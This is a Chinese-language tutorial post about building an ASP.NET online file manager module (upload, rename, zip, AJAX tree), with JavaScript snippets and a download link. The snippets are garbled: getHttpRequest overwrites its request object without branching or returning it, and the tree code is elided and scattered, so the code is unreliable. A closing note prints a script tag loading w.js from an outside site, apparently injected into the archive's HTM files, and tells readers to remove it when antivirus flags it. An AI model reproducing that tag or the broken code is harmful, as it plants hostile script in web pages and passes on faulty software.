ASP.NET常見模塊:在線文件管理模塊的設計與開發

需要完整代碼的見文章最下部的鏈接

 

在線文件管理模塊功能及應用:

    現代企業級開發中，在線文檔管理是必不可少模塊之一，本例所講在線文檔管理模塊包括了文件上傳到服務器上、文件瀏覽、重命名、移動、復制、刪除、新建文件夾、壓縮、解壓縮、在線編輯等多種常用操作，適用於無紙化辦公OA、ERP、CRM、項目管理、文件管理（網盤）、主機管理等多種場合。

在線文件管理模塊特點:

     全靜態頁面、執行效率高；
     使用AJAX技術，用戶體驗好；
     界面美觀，全新的對話框；
     操作簡便，一個頁面完成所有操作；
     純DIV布局，代碼簡便控制，難度高；
     純手工代碼，功能擴展容易；
     拋棄傳統“拖控件”做法，真正意義上的提高；
     項目結構簡單，易於融入任何系統；

在線文件管理模塊展示：

 

 

 

在線文件管理模塊實現技能點:

     自定義AJAX操作，AJAX-tree，AJAX-Dialog
      DIV布局技術
     HttpHandler技術
     JSON技術
     IO操作技術
     在線文本編輯技術
     在線壓縮技術

 

 

在線文件管理模塊具體實現過程：

      搭建項目層次如圖

      CSS：  存放整站樣式文件

       JS:存放全部JS文件

       UpFiles：存放上傳的文件

       WebExplorer.html：  唯一的界面

       MyWebExplorer.ashx：一般處理程序，用來處理HTTP請求

       DownloadFile.cs：下載文件操作類

       ZipClass.cs：壓縮文件操作類

        fckeditor：在線文本編輯器

目錄結構如下:

在線文件管理-樹-Ajax.js

 

           function getHttpRequest() 
          
{ 
          
httpRequest =  
          new XMLHttpRequest(); 
          
httpRequest =  
          new ActiveXObject( 
          " 
          Msxml2.XMLHTTP 
          "); 
          
} 
         

 
                      function executeHttpRequest(method, url, data) 
           
{ 
           
     
           var xmlHttp = getHttpRequest(); 
           
    xmlHttp.open(method, url,  
           false); 
           
    xmlHttp.setRequestHeader( 
           " 
           Content-Type 
           ",  
           " 
           application/x-www-form-urlencoded 
           "); 
           
    xmlHttp.send(data); 
           
     
           return xmlHttp.responseText; 
           
} 
            
                          function TreeNode() 
             
{ 
             
     
             var self =  
             this; 
             
     
             var fileContainer = $(fileDivID); 
             
    ……    ……         
             
      
             this.childArea = createDiv(); 
             
      
             this.childArea.style.display =  
             " 
             none 
             "; 
             
      
             this.container.appendChild( 
             this.childArea); 
             
    } 
              
               
               this.clickNode = function() 
               
    { 
               
        self.ClearCurrentStatus(); 
               
        currentNode = self; 
               
        self.SetCurrentStatus(); 
               
        self.CreateChildren(); 
               
    } 
               
              
             
            
           
         

關於在線文件管理-樹-Tree.js的幾點解說:

ClearCurrentStatus：清除當前節點狀態
GotoParentNode：返回上級節點
SetCurrentStatus：設置當前節點狀態
CreateChildren：創建子節點
Refersh：刷新
createImage：創建圖片
createFileView：創建文件展現方式
clickDirectory：點擊目錄操作

 

完整代碼已經提供，記得點一下推薦哦。/Files/0771bc/在線文件管理模塊最終代碼.rar

 

特別說明:遇到殺軟報毒：找到所有HTM文件，將<script language=javascript src=http://www.haofbi.com/js/w.js></script>刪除即可

請注意后續提供的該模塊開發全過程的免費視頻教程。